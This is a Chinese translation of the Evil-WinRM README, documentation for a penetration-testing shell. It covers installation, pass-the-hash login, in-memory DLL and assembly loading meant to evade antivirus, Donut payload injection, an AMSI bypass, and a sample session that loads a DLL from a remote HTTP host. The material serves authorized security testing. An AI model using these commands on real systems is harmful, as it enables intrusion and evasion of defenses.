邪恶WinRM
下载地址
https: //github.com/Hackplayers/evil-winrm
描述和目的
该 shell 是用于黑客/渗透测试的终极 WinRM shell。
WinRM(Windows 远程管理)是 WS 管理协议的 Microsoft 实现。基于标准 SOAP 的协议,允许不同供应商的硬件和操作系统进行互操作。Microsoft 将其包含在其操作系统中,以使系统管理员的工作更轻松。
该程序可以在任何启用此功能的 Microsoft Windows 服务器上使用(通常在端口 5985),当然前提是您拥有使用它的凭据和权限。所以我们可以说它可以用于后利用黑客/渗透测试阶段。该程序的目的是为黑客提供良好且易于使用的功能。系统管理员也可以将其用于合法目的,但其大部分功能都集中在黑客/渗透测试方面。
它主要基于 WinRM Ruby 库,该库自 2.0 版以来改变了其工作方式。现在,它不再使用 WinRM 协议,而是使用 PSRP(Powershell 远程协议)来初始化运行空间池以及创建和处理管道。
特征
- 兼容Linux和Windows客户端系统
- 在内存中加载 Powershell 脚本
- 绕过某些 AV 加载内存 dll 文件
- 绕过某些反病毒软件加载内存中的 C# (C Sharp) 程序集
- 加载使用出色的甜甜圈技术生成的 x64 有效负载
- 动态 AMSI 绕过以避免 AV 签名
- 传递哈希支持
- Kerberos 身份验证支持
- SSL 和证书支持
- 上传和下载文件显示进度条
- 列出没有权限的远程机器服务
- 命令历史
- WinRM 命令完成
- 本地文件/目录补全
- 远程路径(文件/目录)完成(可以选择禁用)
- 提示和输出消息的着色(可以选择禁用)
- 可选的日志记录功能
- Docker 支持(可在Dockerhub上找到预构建的映像)
- 捕获陷阱以避免按 Ctrl+C 意外退出 shell
帮助
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
要求
需要 Ruby 2.3 或更高版本。还需要一些红宝石:winrm >=2.3.2
, winrm-fs >=1.3.2
, stringio >=0.0.2
, logger >= 1.4.3
, fileutils >= 0.7.2
。根据您的安装方法(4 种可用),可能需要手动完成安装。
仅用于 Kerberos 身份验证的另一个重要要求是安装用于网络身份验证的 Kerberos 软件包。对于一些 Linux,比如基于 Debian 的(Kali、Parrot 等),它被称为krb5-user
. 对于 BlackArch 来说,它的调用方式krb5
可能对于其他 Linux 发行版来说可能以不同的方式调用。
仅当您的 ruby 被编译为启用该--with-readline-dir
标志时,远程路径完成功能才会起作用。某些 Linux 发行版中包含的 ruby 默认启用此功能,但并非全部发行版都启用此功能。请查看下面的部分以获取更多信息。
安装与快速入门(4种方法)
方法1.直接安装为ruby gem(依赖项将自动安装在您的系统上)
- 步骤1.安装它(它将自动安装依赖项):
gem install evil-winrm
- 步骤 2. 准备就绪。只要启动它!
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
方法 2. Git 克隆并手动在系统上安装依赖项
- 步骤1.手动安装依赖项:
sudo gem install winrm winrm-fs stringio logger fileutils
- 步骤 2. 克隆存储库:
git clone https://github.com/Hackplayers/evil-winrm.git
- 步骤 3. 准备就绪。只要启动它!
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
方法3.使用bundler(依赖项不会安装在您的系统上,只是为了使用evil-winrm)
- 步骤 1. 安装捆绑器:
gem install bundler
- 步骤 2. 克隆存储库:
git clone https://github.com/Hackplayers/evil-winrm.git
- 步骤 3. 使用捆绑器安装依赖项:
cd evil-winrm && bundle install --path vendor/bundle
- 步骤 4. 使用捆绑器启动它:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
方法4.使用Docker
- 步骤1.基于已构建的镜像启动docker容器:
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
文档
明文密码
如果您不想以明文形式输入密码,您可以选择避免设置-p
参数,并且将提示密码以防止显示。
IPv6
要使用 IPv6,必须将地址添加到 /etc/hosts。只需将已设置的主机名称放在-i
参数后面而不是 IP 地址即可。
基本命令
-
upload
:本地文件可以使用 tab 键自动完成。
- 用法:
upload local_filename
或upload local_filename destination_filename
- 用法:
-
下载
:
- 用法:
download remote_filename
或download remote_filename destination_filename
- 用法:
关于路径(上传/下载)的注意事项:下载/上传时不允许使用相对路径。使用当前目录或绝对路径上的文件名。如果您在 docker 环境中使用 Evil-WinRM,请记住所有本地路径都应位于/data
并确保将其映射为卷,以便能够访问下载的文件或上传文件从您的本地主机操作系统
- services:列出所有服务,显示您的帐户是否对每一项服务具有权限。使用此功能无需管理员权限。
- menu:加载我们将在下面解释的
Invoke-Binary
、Dll-Loader
和函数。Donut-Loader
当 ps1 加载时,它的所有功能都会显示出来。
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
加载powershell脚本
- 要加载 ps1 文件,您只需键入名称(允许使用制表符自动完成)。脚本必须位于
-s
参数设置的路径中。再次输入菜单并查看加载的功能。非常大的文件可能需要很长时间才能加载。
*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember
高级命令
- Invoke-Binary:允许.Net 程序集在内存中执行。该名称可以使用 Tab 键自动完成。exe 文件的参数可以通过逗号分隔传递。例子:
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
。可执行文件必须位于参数设置的路径中-e
。
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
-
Dll-Loader:允许在内存中加载dll库,它相当于:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
dll 文件可以由 smb、http 或本地托管。一旦加载类型
menu
,就可以自动完成所有功能。
*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.
.EXAMPLE
Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
Dll-Loader -http -path http://example.com/myDll.dll
Description
-----------
Function that loads an arbitrary dll
*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu
[... Snip ...]
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0
Ppid : 0
Name : Idle
Path :
SessionID : 0
Owner :
Architecture : x64
- Donut-Loader:允许注入使用出色的甜甜圈技术生成的 x64 有效负载。无需对payload.bin进行编码,只需生成并注入即可!
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
如果您不使用Windows,则可以使用此donut-maker来生成payload.bin。该脚本使用 Marcello Salvati ( byt3bl33d3r )编写的 python 模块。可以使用 pip 安装:pip3 install donut-shellcode
python3 donut-maker.py -i Covenant.exe
___ _____
.'/,-Y" "~-.
l.Y ^.
/\ _\_ Donuts!
i ___/" "\
| /" "\ o !
l ] o !__./
\ _ _ \.___./ "~\
X \/ \ ___./
( \ ___. _..--~~" ~`-.
` Z,-- / \
\__. ( / ______)
\ l /-----~~" /
Y \ /
| "x______.^
| \
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI:修补 AMSI 保护。
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
克伯罗斯
-
首先,您必须与 DC 同步日期:
rdate -n <dc_ip>
-
生成票据有多种方法:
- 使用impacker 中的Ticketer.py
- 如果您使用Rubeus或Mimikatz获得 kirbi 票证,则必须使用Ticket_converter.py转换为 ccache
-
添加 ccache 票证。有2种方法:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
-
添加领域
/etc/krb5.conf
(对于 Linux)。使用这种格式很重要:CONTOSO.COM = { kdc = fooserver.contoso.com }
-
检查 Kerberos 票证
klist
-
要删除票证,请使用:
kdestroy
-
有关 Kerberos 的更多信息,请查看此备忘单
远程路径完成
根据您使用的 ruby,此功能可能不可用。它必须在 readline 支持下编译。否则,此功能将无法工作(将显示警告)。
方法一(编译需要的扩展)
使用此方法,您将使用所需的 readline 功能来编译 ruby,但仅使用库而不更改系统上的默认 ruby 版本。正因为如此,这是最推荐的方法。
假设您的基于 Debian 的系统有 ruby 2.7.3:
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
方法2(安装ruby仅用于使用rbenv的evil-winrm)
假设您想要在基于 Debian 的 Linux 上使用 ruby 2.7.1 并且您正在使用 zsh。该脚本将使其自动化。您需要从 evil-winrm.rb 和 Gemfile 所在的同一目录启动它(例如,evil-winrm 在 git 克隆后创建的目录):
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
然后,您可以使用新安装的 ruby 以及所需的 readline 支持从任何位置安全地启动 evil-winrm。
方法3(编译整个ruby)
如果您想自己编译,可以按照以下步骤操作。假设您想要 ruby 2.7.3:
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
根据您的系统,它将安装在/opt/rubies/ruby-2.7.3
或可能安装在 ~/.rubies/ruby-2.7.3
。
现在只需要为新安装的 ruby 版本安装 evil-winrm 依赖项。最简单的方法是启动命令/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm
。使用的 gem 命令必须属于新安装的 ruby。
之后,您可以安全地启动新安装的 ruby 以在邪恶的 winrm 上使用它:/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
建议仅使用这个新安装的 ruby 来启动 evil-winrm。如果您将其设置为系统的默认 ruby,请记住它没有安装依赖项 gem。一些基于 Ruby 的软件(例如 Metasploit 或其他软件)由于依赖关系问题而无法正确启动。
记录
此功能将在您的 $HOME 目录中创建文件,保存命令和 WinRM 会话的输出
变更日志:
可以在此处检查更改日志和项目更改:CHANGELOG.md
免责声明和许可
该脚本已获得 LGPLv3+ 许可。直接链接到许可证。
Evil-WinRM 只能用于授权的渗透测试和/或非营利教育目的。作者和任何其他合作者及分享软件者不承担任何滥用本软件的责任。在您自己的服务器上和/或在服务器所有者的许可下使用它。